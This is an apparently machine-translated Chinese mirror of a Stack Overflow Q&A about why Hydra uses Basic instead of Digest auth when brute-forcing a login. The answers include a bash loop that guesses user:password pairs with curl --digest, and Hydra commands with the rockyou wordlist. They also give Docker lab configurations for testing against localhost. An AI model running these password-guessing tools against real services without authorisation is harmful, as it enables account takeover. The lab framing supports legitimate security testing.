首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >用Hydra暴力破解http摘要

用Hydra暴力破解http摘要
EN

Stack Overflow用户
提问于 2021-03-02 07:23:29
回答 2查看 337关注 0票数 1

我在用Hydra强制使用HTTP摘要表单时遇到了一些麻烦。我使用的是以下命令,但是,当通过burp套件hydra代理时,我可以看到hydra使用的是基本的auth而不是digest。

如何让hydra使用正确的auth类型?

命令:hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -vV http-get /digest

代理中显示的请求:

代码语言:javascript
复制
GET /digest HTTP/1.1
Host: 127.0.0.1
Connection: close
Authorization: Basic YWRtaW46aWxvdmV5b3U=
User-Agent: Mozilla/4.0 (Hydra)
EN

回答 2

Stack Overflow用户

发布于 2021-06-09 04:00:32

我研究过这种情况,如果摘要方法是在Nginx或apache服务器级别实现的,hydra可能会起作用。但是,如果身份验证是在Flask、Expressjs、Django等应用程序服务器上实现的,那么它将完全不起作用

您可以创建用于密码喷洒的bash脚本

代码语言:javascript
复制
#!/bin/bash

cat $1 | while read USER; do
        cat $2 | while read PASSWORD; do
                if curl -s $3 -c /tmp/cookie --digest -u $USER:$PASSWORD | grep -qi "unauth"
                then 
                        continue
                else
                        echo [+] Found $USER:$PASSWORD
                        exit 0
                fi
        done
done

将此文件另存为app.sh

代码语言:javascript
复制
$ chmod +x app.sh
$ ./app.sh /path/to/users.txt /path/to/passwords.txt http://example.com/path
票数 0
EN

Stack Overflow用户

发布于 2021-11-05 23:33:40

因为没有指定Hydra版本,所以我假设是最新的版本:9.2

@tbhaxor是正确的:

在Apache或nginx Hydra这样的服务器上工作。使用标准documentation中推荐的摘要式身份验证的Flask不起作用(稍后会详细介绍)。您可以添加使用过的web服务器,这样别人就可以验证这一点。

Hydra不提供明确的参数来区分基本身份验证和摘要身份验证。

从技术上讲,它首先发送一个请求,试图通过基本身份验证对自己进行身份验证。在此之后,它评估相应的响应。

摘要身份验证的规范规定web应用程序必须发送报头WWW-Authenticate : Digest ... in the response if the requested documented is protected using the scheme。因此,Hydra现在可以区分这两种形式的身份验证。如果它收到此响应(请参阅code),它使用digest authentication发送第二次尝试。

您只能看到基本身份验证而不能看到摘要请求的原因是由于Hydra所称的“任务”的默认设置。它被设置为16 by default,这意味着它最初会创建16个线程。

因此,如果您转到代理中的第17个请求,您将发现一个使用摘要身份验证的请求。如果使用参数-t 1将任务数设置为1,也可以看到差异。

下面是3个Docker设置,您可以根据您的示例使用admin/password凭据测试基本身份验证(nginx)、摘要身份验证(Nginx)和摘要身份验证(Flask)的差异:

基本身份验证:

代码语言:javascript
复制
cat Dockerfile.http_basic_auth
FROM nginx:1.21.3
 
LABEL maintainer="secf00tprint"
 
RUN apt-get update && apt-get install -y apache2-utils
RUN touch /usr/share/nginx/html/.htpasswd
RUN htpasswd -db /usr/share/nginx/html/.htpasswd admin password
RUN sed -i '/^    location \/ {/a \        auth_basic "Administrator\x27s Area";\n\        auth_basic_user_file /usr/share/nginx/html/.htpasswd;' /etc/nginx/conf.d/default.conf

代码语言:javascript
复制
sudo docker build -f Dockerfile.http_basic_auth -t http-server-basic-auth .
sudo docker run -ti -p 127.0.0.1:8888:80 http-server-basic-auth

代码语言:javascript
复制
hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 8888 http-get /

摘要身份验证(nginx):

代码语言:javascript
复制
cat Dockerfile.http_digest 
FROM ubuntu:20.10

LABEL maintainer="secf00tprint"

RUN apt-get update && \
# For digest module
     DEBIAN_FRONTEND=noninteractive apt-get install -y curl unzip \
# For nginx
     build-essential libpcre3 libpcre3-dev zlib1g zlib1g-dev libssl-dev libgd-dev libxml2 libxml2-dev uuid-dev make apache2-utils expect
RUN curl -O https://nginx.org/download/nginx-1.21.3.tar.gz
RUN curl -OL https://github.com/atomx/nginx-http-auth-digest/archive/refs/tags/v1.0.0.zip
RUN tar -xvzf nginx-1.21.3.tar.gz
RUN unzip v1.0.0.zip
RUN cd nginx-1.21.3 && \
     ./configure --prefix=/usr/share/nginx --sbin-path=/usr/sbin/nginx --conf-path=/etc/nginx/nginx.conf --http-log-path=/var/log/nginx/access.log --error-log-path=/var/log/nginx/error.log --lock-path=/var/lock/ nginx.lock --pid-path=/run/nginx.pid --modules-path=/etc/nginx/modules --add-module=../nginx-http-auth-digest-1.0.0/ && \
     make && make install
 
COPY generate.exp /usr/share/nginx/html/
RUN chmod u+x /usr/share/nginx/html/generate.exp && \
     cd /usr/share/nginx/html/ && \
     expect -d generate.exp
 
RUN sed -i '/^        location \/ {/a \            auth_digest "this is not for you";' /etc/nginx/nginx.conf
RUN sed -i '/^        location \/ {/i \        auth_digest_user_file /usr/share/nginx/html/passwd.digest;' /etc/nginx/nginx.conf
 
CMD nginx && tail -f /var/log/nginx/access.log -f /var/log/nginx/error.log

代码语言:javascript
复制
cat generate.exp
#!/usr/bin/expect
set timeout 70
spawn "/usr/bin/htdigest" "-c" "passwd.digest" "this is not for you" "admin"
expect "New password: " {send "password\r"}
expect "Re-type new password: " {send "password\r"}
wait

代码语言:javascript
复制
sudo docker build -f Dockerfile.http_digest -t http_digest .
sudo docker run -ti -p 127.0.0.1:8888:80 http_digest

代码语言:javascript
复制
hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 8888 http-get /

摘要身份验证(Flask):

代码语言:javascript
复制
cat Dockerfile.http_digest_fask
FROM ubuntu:20.10

LABEL maintainer="secf00tprint"
 
RUN apt-get update -y && \
     apt-get install -y python3-pip python3-dev
 
# We copy just the requirements.txt first to leverage Docker cache
COPY ./requirements.txt /app/requirements.txt
WORKDIR /app
RUN pip3 install -r requirements.txt
COPY ./app.py /app/
CMD ["flask", "run", "--host=0.0.0.0"]

代码语言:javascript
复制
cat requirements.txt
Flask==2.0.2
Flask-HTTPAuth==4.5.0

代码语言:javascript
复制
cat app.py
from flask import Flask
from flask_httpauth import HTTPDigestAuth
 
app = Flask(__name__)
app.secret_key = 'super secret key'
auth = HTTPDigestAuth()
 
users = {
    "admin" : "password",
    "john" : "hello",
    "susan" : "bye"
}
 
@auth.get_password
def get_pw(username):
    if username in users:
        return users.get(username)
    return None
 
@app.route("/")
@auth.login_required
def hello_world():
    return "<p>Flask Digest Demo</p>"

代码语言:javascript
复制
sudo docker build -f Dockerfile.http_digest_flask -t digest_flask .
sudo docker run -ti -p 127.0.0.1:5000:5000 digest_flask

代码语言:javascript
复制
hydra -l admin -P /usr/share/wordlists/rockyou.txt 127.0.0.1 -s 5000 http-get /

如果你想了解更多信息,我在更详细的here中写过。

票数 0
EN
页面原文内容由Stack Overflow提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://stackoverflow.com/questions/66431117

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档